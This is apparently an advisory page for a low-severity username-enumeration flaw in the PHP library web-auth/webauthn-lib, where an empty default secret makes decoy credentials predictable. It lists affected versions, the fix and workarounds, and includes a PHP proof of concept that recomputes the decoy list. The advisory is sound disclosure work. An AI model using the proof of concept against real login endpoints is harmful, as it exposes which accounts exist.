# GHSA-gq4g-fpc9-vjfq: Impact `Webauthn\SimpleFakeCredentialGenerator` is the library-provided default implementation of the `FakeCredentialGenerator` interface.

> An attacker can enumerate valid usernames by predicting decoy credentials when the WebAuthn library is configured with an empty secret.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 7 Jul 2026

## What is GHSA-gq4g-fpc9-vjfq?

GHSA-gq4g-fpc9-vjfq is a vulnerability in web-auth/webauthn-lib, published on 7 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

## Impact

`Webauthn\SimpleFakeCredentialGenerator` is the library-provided default implementation of the `FakeCredentialGenerator` interface. It returns a stable list of decoy `PublicKeyCredentialDescriptor` objects for a given username so that an assertion request for an unknown user looks the same as a request for a real one, which mitigates username enumeration.

The generator derives the whole decoy list from a single seed:

```php
$seed = hash('sha256', $username . $this->secret, true);
```

When it is constructed without a secret (its constructor default, `$secret = ''`), the seed depends only on the username. The username is attacker-chosen and the algorithm is public, so an unauthenticated requester can recompute the exact, byte-for-byte decoy list the server returns for any username. The attacker then compares a probed username's response against the locally computed list and decides whether the account is real or fake, which is precisely the distinction the mechanism is meant to hide.

With any non-empty secret the seed becomes a value the attacker cannot evaluate and the mitigation holds. The defect is the empty default, not the algorithm.

## Affected configurations

- Direct use of the library (`web-auth/webauthn-lib`) where `SimpleFakeCredentialGenerator` is instantiated without a secret.
- Any integration that wires the generator with an empty secret.

The Symfony bundle is not affected with its default configuration: it injects the application secret (`kernel.secret`) into the generator, so out-of-the-box deployments already use a non-empty secret. Deployments that set an empty `kernel.secret` are affected.

## Patches

Fixed in 5.3.5. The generator now emits a deprecation when it is constructed without a secret, which surfaces the misconfiguration in logs and the Symfony profiler. A non-empty secret will be required in 6.0.0. The recommended remediation is to always provide a non-empty, deployment-specific secret.

## Workarounds

Construct `SimpleFakeCredentialGenerator` with a non-empty secret value (for example the application secret), or provide a custom `FakeCredentialGenerator` implementation seeded with a secret.

## Proof of concept

```php
<?php
declare(strict_types=1);

require $src . '/PublicKeyCredentialDescriptor.php';
require $src . '/FakeCredentialGenerator.php';
require $src . '/SimpleFakeCredentialGenerator.php';

use Webauthn\PublicKeyCredentialDescriptor;
use Webauthn\SimpleFakeCredentialGenerator;

$username = 'alice@example.com';

// 1. The "server" runs the library default wiring (cache=null, secret='').
$server = new SimpleFakeCredentialGenerator();
$refl = new ReflectionMethod(SimpleFakeCredentialGenerator::class, 'generateCredentials');
$refl->setAccessible(true);
$serverDescriptors = $refl->invoke($server, $username);

// 2. The "attacker" recomputes the same algorithm, knowing only the username.
function attackerRecompute(string $username): array {
    $transports = [
        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_USB,
        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_NFC,
        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_BLE,
        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_HYBRID,
        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_INTERNAL,
        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_SMART_CARD,
    ];
    $seed = hash('sha256', $username . '', true); // empty secret
    $count = (ord($seed[0]) % 3) + 1;
    $out = [];
    for ($i = 0; $i < $count; $i++) {
        $credSeed = hash('sha256', $seed . pack('N', $i), true);
        $transportCount = (ord($credSeed[0]) % 2) + 1;
        $sel = [];
        for ($j = 0; $j < $transportCount; $j++) {
            $sel[] = $transports[ord($credSeed[$j + 1]) % count($transports)];
        }
        $sel = array_values(array_unique($sel));
        $out[] = ['type' => PublicKeyCredentialDescriptor::CREDENTIAL_TYPE_PUBLIC_KEY,
                  'id' => hash('sha256', $credSeed . $username), 'transports' => $sel];
    }
    return $out;
}

// 3. The two lists match byte-for-byte, so the decoy is reproducible.
//    The same call with a non-empty secret diverges, confirming the defect
//    is the default value rather than the algorithm.
```

With the default empty secret the library's fake-credential list is bit-for-bit reproducible from the public username alone, which defeats the username enumeration mitigation. The same call with a non-empty secret diverges.

## Severity

Low. The decoy responses are still well-formed and the issue only re-enables username enumeration, and only when the generator is used without a secret (which is not the case for default Symfony bundle deployments).

## Credits

Found during an internal security audit of the project.

## Which versions are affected by GHSA-gq4g-fpc9-vjfq?

2 open source packages ship an affected version, including web-auth/webauthn-lib.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `web-auth/webauthn-lib` | Packagist | From 4.9.0 | 5.3.5 |
| `web-auth/webauthn-lib` | Packagist | From 4.9.0 | 5.3.5 |

## How do I fix GHSA-gq4g-fpc9-vjfq?

Upgrade web-auth/webauthn-lib to 5.3.5 or later.

## Is GHSA-gq4g-fpc9-vjfq being exploited?

There is no known exploitation of GHSA-gq4g-fpc9-vjfq in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-gq4g-fpc9-vjfq and fix it if it is affected.

What it is: GHSA-gq4g-fpc9-vjfq is a vulnerability in web-auth/webauthn-lib, published on 7 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-gq4g-fpc9-vjfq in the wild and no public exploit code.

Affected packages and fixed versions:
- web-auth/webauthn-lib (Packagist): affected from 4.9.0; fixed in 5.3.5
- web-auth/webauthn-lib (Packagist): affected from 4.9.0; fixed in 5.3.5

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-gq4g-fpc9-vjfq/ (Markdown: https://insights.sbomify.com/GHSA-gq4g-fpc9-vjfq/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-gq4g-fpc9-vjfq

---
From sbomify Insights: https://insights.sbomify.com/GHSA-gq4g-fpc9-vjfq/
Summaries are generated and may contain mistakes; the official description above is the record.
